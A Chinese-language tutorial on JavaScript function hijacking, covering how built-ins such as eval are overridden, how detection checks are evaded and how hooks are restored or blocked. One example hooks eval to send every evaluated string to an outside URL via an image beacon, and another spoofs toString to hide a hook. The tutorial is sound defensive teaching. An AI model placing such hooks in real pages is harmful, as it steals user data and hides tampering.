• php中使用

 header('X-Frame-Options:Deny');

此方法支持所有浏览器，在IE下会提示“此内容不能显示在一个框架中”，而在chrome和firefox下会显示"about:blank",并在控制台输出相应错误。

防劫持难题

html,css文件被劫持且修改，js就爱莫能助。对节点绑定一些恶意函数也无法鉴别和清理。 低版本IE因不支持一些原型改造，所以无法实现部分防劫持功能。

函数防劫hijacking

1.的函数劫持是什么？

javascript函数劫持，顾名思义，即在一个函数运行之前把它劫持下来，添加我们想要的功能。当这个函数实际运行的时候，它已经不是原本的函数了，而是带上了被我们添加上去的功能。这也是我们常见的钩子函数的原理之一。

    var _alert = alert;    function alert(str){        if (confirm('How are you?')){            _alert(str);        }    }    alert('something');

类似的还有eval等等函数，甚至算定义函数也可能重写而劫持，因为js本身没有重载功能。

2.函数劫持的目的

劫持当然就是希望在执行该函数时，添加一些副作用。比如收集信息（或者说盗取信息）,插入广告等。

    var _eval = eval;    window.eval = function(str){        setTimeout(function(){            var img = new Image();            img.src = "http://www.scscms.com/collect?eval=" + encodeURIComponent(str);        },0);        _eval(str);    };    eval('var a = "something";');

3.鉴定内置函数被劫持

怎么鉴定内置函数被劫持，网上流行一种直接方法是把内置函数的toString方法，在返回字符串中判断是否存在[native code]字符。比如eval函数没被劫持前返回字符是：

function eval() {    [native code]}

所以他们认为eval.toString().indexOf("[native code]") > 0就是劫持了，这未免也太草率了。原因是在劫持过程中可随时添加此字符蒙骗过关：

    window.eval = function(str){        /*[native code]*/        //[native code]        console.log("[native code]");    };    console.log(eval.toString());

看看，是吧。按理说应该返回上面那样干干净净的代码才能判断没有被劫持，不是吗？还真不是！因为假如我添加如下代码呢：

    window.eval = function(str){        //劫持过程省略    };    window.eval.toString = function(){        return `function eval() {            [native code]        }`    };    console.log(eval.toString());

那我还能说点啥呢？ 所以检测其是否劫持还得判断其toString方法是否被改写，或者在原型链上的方法是否已改写。

    function hijacked(fun){        //判断是否是干净的内置函数        return "prototype" in fun || fun.toString().replace(/\n|\s/g, "") != "function"+fun.name+"(){[nativecode]}";    }    if(hijacked(eval)){        console.log("被劫持了");    }else{        console.log("没被劫持");    }

4.内置函数反劫持

• 1.判断劫持后恢复 一旦判断被劫持后，我们就要想法恢复此方法。 假如劫持人有另存方法为某个变量就简单点，直接还原。但这也是非常不靠谱的。 假如劫持人有使用call调用原始方法，我们也是可以直接找回它的。

    var _eval = window.eval;    window.eval = function(str){        console.log(str);        _eval.call(null,str);    };    //开始借用call恢复    Function.prototype.call = function(fun){        if(this.name == "eval"){            window.eval = this;//恢复方法        }    };    console.log(eval("var a = 1;"));//恢复前执行    console.log(eval("var b = 1;"));//恢复后执行

此方法缺点也大，一是别人调用方法不一定使用call或apply，二是或许劫持者会事先禁用重写call、apply方法。

    Object.defineProperty(Function.prototype, "call", {        value: Function.prototype.call,writable: false,configurable: false,enumerable: true    });    Object.defineProperty(Function.prototype, "apply", {        value: Function.prototype.apply,writable: false,configurable: false,enumerable: true    });

最绿色环保的当然就是新建一个iframe干净环境来还原内置函数。

    var _eval = window.eval;    window.eval = function(str){        console.log(str);        _eval.call(null,str);    };    function saveHook(name) {        var f = document.createElement("iframe");        f.style.display = "none";        document.body.appendChild(f);        window[name]=f.contentWindow[name];    }    console.log(eval.toString());    saveHook("eval");//恢复方法    console.info(eval.toString());

• 2.预先打预防针

其实我觉得最好的反劫持应该是防劫持，即给相应的方法打预防针。主要是通过修改原型配置，禁止重写方法对象。

    Object.defineProperty(window, 'eval', {        writable: false,configurable: false,enumerable: true    });    var _eval = window.eval;    window.eval = function(str){        console.log(str);        _eval.call(null,str);    };    console.log(eval.toString());

如上，此时eval重写将默默失败（严格模式下会报错）。但有个前提就是你的脚本要保证在劫持者之前执行。

5.函数绑架

“函数绑架”我们暂且这样称呼它吧。意思是在不破坏原函数结构的基础上，附加绑上一个新方法函数，此函数的触发可定义在原函数调用之前或者之后再触发。这对我们跟踪函数调用非常有用。

    Function.prototype.kidnap = function(fun){        var _this = this;        return function(){            fun.apply(_this,arguments);            return _this.apply(_this,arguments);        }    };    function fun(str){        console.log(str);    }    fun = fun.kidnap(function(str){        console.info("初次绑架:"+ str);    });    fun = fun.kidnap(function(str){        console.info("再次绑架:"+ str);    });    fun("This is a secret");

此类绑架因为是绑定在自定义函数里，所以判断是否有绑定有一定难度。不过你还是可以事先把函数保护起来的。

    Object.defineProperty(window, 'fun', {        writable: false,configurable: false,enumerable: true    });    //后继的绑架将失败